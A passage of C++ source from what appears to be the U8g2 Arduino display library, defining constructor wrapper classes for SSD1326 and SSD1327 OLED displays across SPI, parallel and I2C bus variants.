u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1326_ER_256X32_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1326_ER_256X32_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1326_er_256x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1326_ER_256X32_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1326_ER_256X32_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1326_er_256x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1326_ER_256X32_1_3W_SW_SPI : public U8G2 { public: U8G2_SSD1326_ER_256X32_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1326_er_256x32_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1326_ER_256X32_1_3W_HW_SPI : public U8G2 { public: U8G2_SSD1326_ER_256X32_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1326_er_256x32_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1326_ER_256X32_1_6800 : public U8G2 { public: U8G2_SSD1326_ER_256X32_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1326_er_256x32_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1326_ER_256X32_1_8080 : public U8G2 { public: U8G2_SSD1326_ER_256X32_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1326_er_256x32_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1326_ER_256X32_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1326_ER_256X32_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1326_er_256x32_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1326_ER_256X32_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1326_ER_256X32_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1326_er_256x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1326_ER_256X32_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1326_ER_256X32_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1326_er_256x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1326_ER_256X32_2_3W_SW_SPI : public U8G2 { public: U8G2_SSD1326_ER_256X32_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1326_er_256x32_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1326_ER_256X32_2_3W_HW_SPI : public U8G2 { public: U8G2_SSD1326_ER_256X32_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1326_er_256x32_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1326_ER_256X32_2_6800 : public U8G2 { public: U8G2_SSD1326_ER_256X32_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1326_er_256x32_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1326_ER_256X32_2_8080 : public U8G2 { public: U8G2_SSD1326_ER_256X32_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1326_er_256x32_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1326_ER_256X32_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1326_ER_256X32_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1326_er_256x32_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1326_ER_256X32_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1326_ER_256X32_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1326_er_256x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1326_ER_256X32_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1326_ER_256X32_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1326_er_256x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1326_ER_256X32_F_3W_SW_SPI : public U8G2 { public: U8G2_SSD1326_ER_256X32_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1326_er_256x32_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1326_ER_256X32_F_3W_HW_SPI : public U8G2 { public: U8G2_SSD1326_ER_256X32_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1326_er_256x32_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1326_ER_256X32_F_6800 : public U8G2 { public: U8G2_SSD1326_ER_256X32_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1326_er_256x32_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1326_ER_256X32_F_8080 : public U8G2 { public: U8G2_SSD1326_ER_256X32_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1326_er_256x32_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1326_ER_256X32_1_SW_I2C : public U8G2 { public: U8G2_SSD1326_ER_256X32_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1326_i2c_er_256x32_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1326_ER_256X32_1_HW_I2C : public U8G2 { public: U8G2_SSD1326_ER_256X32_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1326_i2c_er_256x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1326_ER_256X32_1_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1326_ER_256X32_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1326_i2c_er_256x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1326_ER_256X32_2_SW_I2C : public U8G2 { public: U8G2_SSD1326_ER_256X32_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1326_i2c_er_256x32_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1326_ER_256X32_2_HW_I2C : public U8G2 { public: U8G2_SSD1326_ER_256X32_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1326_i2c_er_256x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1326_ER_256X32_2_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1326_ER_256X32_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1326_i2c_er_256x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1326_ER_256X32_F_SW_I2C : public U8G2 { public: U8G2_SSD1326_ER_256X32_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1326_i2c_er_256x32_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1326_ER_256X32_F_HW_I2C : public U8G2 { public: U8G2_SSD1326_ER_256X32_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1326_i2c_er_256x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1326_ER_256X32_F_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1326_ER_256X32_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1326_i2c_er_256x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1327_WS_96X64_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1327_WS_96X64_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_96x64_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1327_WS_96X64_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_WS_96X64_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_96x64_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_WS_96X64_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_WS_96X64_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_96x64_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_WS_96X64_1_3W_SW_SPI : public U8G2 { public: U8G2_SSD1327_WS_96X64_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_96x64_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1327_WS_96X64_1_3W_HW_SPI : public U8G2 { public: U8G2_SSD1327_WS_96X64_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_96x64_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1327_WS_96X64_1_6800 : public U8G2 { public: U8G2_SSD1327_WS_96X64_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_96x64_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_WS_96X64_1_8080 : public U8G2 { public: U8G2_SSD1327_WS_96X64_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_96x64_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_WS_96X64_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1327_WS_96X64_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_96x64_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1327_WS_96X64_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_WS_96X64_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_96x64_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_WS_96X64_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_WS_96X64_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_96x64_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_WS_96X64_2_3W_SW_SPI : public U8G2 { public: U8G2_SSD1327_WS_96X64_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_96x64_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1327_WS_96X64_2_3W_HW_SPI : public U8G2 { public: U8G2_SSD1327_WS_96X64_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_96x64_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1327_WS_96X64_2_6800 : public U8G2 { public: U8G2_SSD1327_WS_96X64_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_96x64_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_WS_96X64_2_8080 : public U8G2 { public: U8G2_SSD1327_WS_96X64_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_96x64_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_WS_96X64_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1327_WS_96X64_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_96x64_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1327_WS_96X64_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_WS_96X64_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_96x64_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_WS_96X64_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_WS_96X64_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_96x64_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_WS_96X64_F_3W_SW_SPI : public U8G2 { public: U8G2_SSD1327_WS_96X64_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_96x64_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1327_WS_96X64_F_3W_HW_SPI : public U8G2 { public: U8G2_SSD1327_WS_96X64_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_96x64_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1327_WS_96X64_F_6800 : public U8G2 { public: U8G2_SSD1327_WS_96X64_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_96x64_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_WS_96X64_F_8080 : public U8G2 { public: U8G2_SSD1327_WS_96X64_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_96x64_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_WS_96X64_1_SW_I2C : public U8G2 { public: U8G2_SSD1327_WS_96X64_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_ws_96x64_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1327_WS_96X64_1_HW_I2C : public U8G2 { public: U8G2_SSD1327_WS_96X64_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_ws_96x64_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1327_WS_96X64_1_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1327_WS_96X64_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_ws_96x64_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1327_WS_96X64_2_SW_I2C : public U8G2 { public: U8G2_SSD1327_WS_96X64_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_ws_96x64_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1327_WS_96X64_2_HW_I2C : public U8G2 { public: U8G2_SSD1327_WS_96X64_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_ws_96x64_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1327_WS_96X64_2_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1327_WS_96X64_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_ws_96x64_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1327_WS_96X64_F_SW_I2C : public U8G2 { public: U8G2_SSD1327_WS_96X64_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_ws_96x64_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1327_WS_96X64_F_HW_I2C : public U8G2 { public: U8G2_SSD1327_WS_96X64_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = 